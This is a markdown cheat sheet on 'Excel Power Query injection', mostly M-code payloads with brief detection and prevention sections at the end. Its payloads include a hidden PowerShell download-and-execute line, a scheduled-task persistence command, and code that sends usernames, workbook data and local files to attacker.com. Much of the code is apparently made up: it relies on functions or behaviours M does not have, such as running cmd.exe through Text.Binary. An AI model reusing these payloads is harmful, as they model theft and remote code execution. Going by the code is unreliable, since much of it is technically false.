# Excel Power Query Injection

> Advanced attack vectors using Excel Power Query (Get & Transform) for data exfiltration, code execution, and persistence.

## 📋 Overview

Power Query in Excel provides powerful data transformation capabilities that can be abused for malicious purposes. These attacks exploit M code injection, custom connectors, and data source manipulation.

## 🎯 Attack Vectors

### 1. M Code Injection

#### Basic M Code Execution

```m
let
    Source = Excel.CurrentWorkbook(){[Name="Table1"]}[Content],
    // Malicious M code injection
    ExecuteCommand = Text.Binary("cmd.exe /c calc.exe"),
    RunCommand = Binary.Buffer(ExecuteCommand)
in
    RunCommand
```

#### PowerShell Execution via M Code

```m
let
    // Execute PowerShell command
    PSCommand = "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')",
    ExecutePS = Text.Binary(PSCommand),
    Result = Binary.Buffer(ExecutePS)
in
    Result
```

#### Base64-Encoded M Code

```m
let
    // Base64 encoded malicious payload
    EncodedPayload = "Y21kLmV4ZSAvYyBjYWxjLmV4ZQ==", // cmd.exe /c calc.exe
    DecodedPayload = Binary.FromText(EncodedPayload, BinaryEncoding.Base64),
    ExecutePayload = Text.FromBinary(DecodedPayload)
in
    ExecutePayload
```

### 2. Data Source Manipulation

#### Malicious Web Content

```m
let
    // Fetch malicious web content
    Source = Web.Contents("http://attacker.com/malicious-m-code.m"),
    Execute = Binary.Buffer(Source)
in
    Execute
```

#### SharePoint Injection

```m
let
    // Connect to malicious SharePoint
    Source = SharePoint.Tables("https://attacker.sharepoint.com/sites/malicious", [ApiVersion = 15]),
    ExecuteCode = Source{[Name="MaliciousCode"]}[Content]
in
    ExecuteCode
```

#### SQL Injection via Power Query

```m
let
    // SQL injection in Power Query
    Query = "SELECT * FROM users WHERE id = 1; EXEC xp_cmdshell 'calc.exe'; --",
    Source = Sql.Database("server.database.windows.net", "database", [Query=Query])
in
    Source
```

### 3. Custom Connector Injection

#### Custom Connector with Malicious Code

```json
{
  "name": "MaliciousConnector",
  "type": "Custom",
  "authentication": "Anonymous",
  "dataSource": {
    "type": "Web",
    "url": "http://attacker.com/malicious-connector"
  },
  "mCode": "let Source = Text.Binary(\"cmd.exe /c calc.exe\") in Source"
}
```

#### Connector Persistence

```m
let
    // Persist malicious connector
    InstallConnector = Extension.Install("http://attacker.com/malicious-connector.mez"),
    ExecutePayload = Extension.Contents("MaliciousConnector")
in
    ExecutePayload
```

### 4. Data Exfiltration via Power Query

#### Exfiltrate User Data

```m
let
    // Collect system information
    UserName = Text.From(Text.Encoding.UTF8.GetBytes(Environment.UserName)),
    ComputerName = Text.From(Text.Encoding.UTF8.GetBytes(Environment.MachineName)),
    DataExfil = Text.Combine({UserName, ComputerName}, "|"),
    // Send to attacker
    ExfilURL = "http://attacker.com/collect?data=" & Text.UrlEncode(DataExfil),
    SendData = Web.Contents(ExfilURL)
in
    SendData
```

#### Exfiltrate Excel Data

```m
let
    // Exfiltrate worksheet data
    Source = Excel.CurrentWorkbook(){[Name="SensitiveData"]}[Content],
    ToJson = Json.FromValue(Source),
    SendToAttacker = Web.Contents(
        "http://attacker.com/exfil",
        [
            Content = ToJson,
            Headers = [#"Content-Type" = "application/json"]
        ]
    )
in
    SendToAttacker
```

### 5. Scheduled Refresh Attacks

#### Auto-Execute on Refresh

```m
let
    // Execute on scheduled refresh
    Source = Excel.CurrentWorkbook(){[Name="Trigger"]}[Content],
    TriggerValue = Source{0}[Column1],
    // If condition met, execute payload
    ExecuteIf = if TriggerValue = "RUN" then
        Web.Contents("http://attacker.com/trigger-payload")
    else
        Text.FromBinary(Text.From("No action"))
in
    ExecuteIf
```

#### Persistence via Scheduled Refresh

```m
let
    // Create persistence mechanism
    InstallScheduledTask = Text.FromBinary(Text.From("schtasks /create /tn ExcelRefresh /tr \"powershell.exe -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/persistence.ps1')\" /sc daily")),
    ExecuteTask = Text.Binary(InstallScheduledTask),
    RunTask = Binary.Buffer(ExecuteTask)
in
    RunTask
```

### 6. Advanced M Code Obfuscation

#### Function-Based Obfuscation

```m
let
    // Obfuscated execution
    Func1 = (x) => Text.Start(x, 3),
    Func2 = (y) => Text.End(y, 4),
    Combine = (a, b) => a & b,
    // Build command: "cmd"
    Part1 = Func1("command"),
    Part2 = Func2("scam"),
    Command = Combine(Part1, Part2),
    Execute = Text.Binary(Command & ".exe /c calc.exe")
in
    Execute
```

#### List Manipulation

```m
let
    // Build command from list
    Parts = {"c", "m", "d", ".", "e", "x", "e"},
    Command = Text.Combine(Parts, ""),
    ExecuteCommand = Text.Binary(Command & " /c calc.exe"),
    Result = Binary.Buffer(ExecuteCommand)
in
    Result
```

### 7. Environment Variable Abuse

#### System Information Collection

```m
let
    // Access environment variables
    UserName = Environment.UserName,
    UserDomain = Environment.UserDomain,
    ComputerName = Environment.MachineName,
    OSVersion = Environment.OSVersion,
    // Compile and exfiltrate
    SystemInfo = Json.FromValue([
        User = UserName,
        Domain = UserDomain,
        Computer = ComputerName,
        OS = OSVersion
    ]),
    Exfil = Web.Contents(
        "http://attacker.com/system-info",
        [Content = SystemInfo]
    )
in
    Exfil
```

### 8. File System Manipulation

#### Read Sensitive Files

```m
let
    // Read local files (limited by security context)
    TryReadFile = (path) =>
        try Text.FromBinary(File.Contents(path))
        otherwise "Access Denied",

    // Attempt to read common sensitive files
    Files = {
        "C:\Windows\System32\drivers\etc\hosts",
        "C:\Users\" & Environment.UserName & "\Documents\secrets.txt",
        Environment.CurrentDirectory & "\config.ini"
    },

    ReadResults = List.Transform(Files, TryReadFile),
    ExfilData = Json.FromValue(ReadResults),
    SendResults = Web.Contents("http://attacker.com/file-results", [Content = ExfilData])
in
    SendResults
```

## 🛡️ Detection Techniques

### Power Query Anomalies

* Unusual data sources (HTTP connections to unknown IPs)
* M code containing command execution patterns
* Custom connectors from untrusted sources
* Frequent scheduled refresh to suspicious endpoints
* Base64 encoded content in M code

### Behavioral Indicators

* Excel process spawning unusual child processes
* Network connections from Excel to suspicious domains
* File system access attempts from Excel
* Power Query errors related to security restrictions

### Technical Detection

```powershell
# Monitor for suspicious Power Query activity
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object { $_.Message -like "*Power Query*" -or $_.Message -like "*M code*" }

# Check for unusual Excel network connections
netstat -ano | findstr excel.exe

# Monitor for Power Query related processes
Get-Process | Where-Object { $_.ProcessName -like "*excel*" -or $_.MainWindowTitle -like "*Power Query*" }
```

## 🚫 Prevention Measures

### Excel Security Settings

1. **Disable Power Query** for sensitive environments
2. **Require Data Source Approval** for new connections
3. **Block External Data Connections** via Group Policy
4. **Enable Power Query Privacy Settings**
5. **Restrict Scheduled Refresh** permissions

### Network Controls

1. **Block suspicious domains** at firewall/proxy level
2. **Monitor outbound connections** from Excel processes
3. **Implement DLP** for data exfiltration prevention
4. **Use application whitelisting** for Excel extensions

### Security Policies

```xml
<!-- Group Policy to restrict Power Query -->
<Policy>
  <Name>Restrict Power Query Data Sources</Name>
  <Setting>
    <Key>HKCU\Software\Microsoft\Office\16.0\Excel\Security\PowerQuery</Key>
    <Value Name="AllowExternalDataSources" Type="DWORD">0</Value>
  </Setting>
</Policy>
```

## 📚 References

* [Microsoft Power Query Security](https://docs.microsoft.com/en-us/power-query/security-overview)
* [Power Query M Language Reference](https://docs.microsoft.com/en-us/powerquery-m/)
* [Excel Security Best Practices](https://docs.microsoft.com/en-us/office/troubleshoot/excel/excel-security-best-practices)

***

*⚠️ This documentation is for educational purposes and authorized security testing only.*
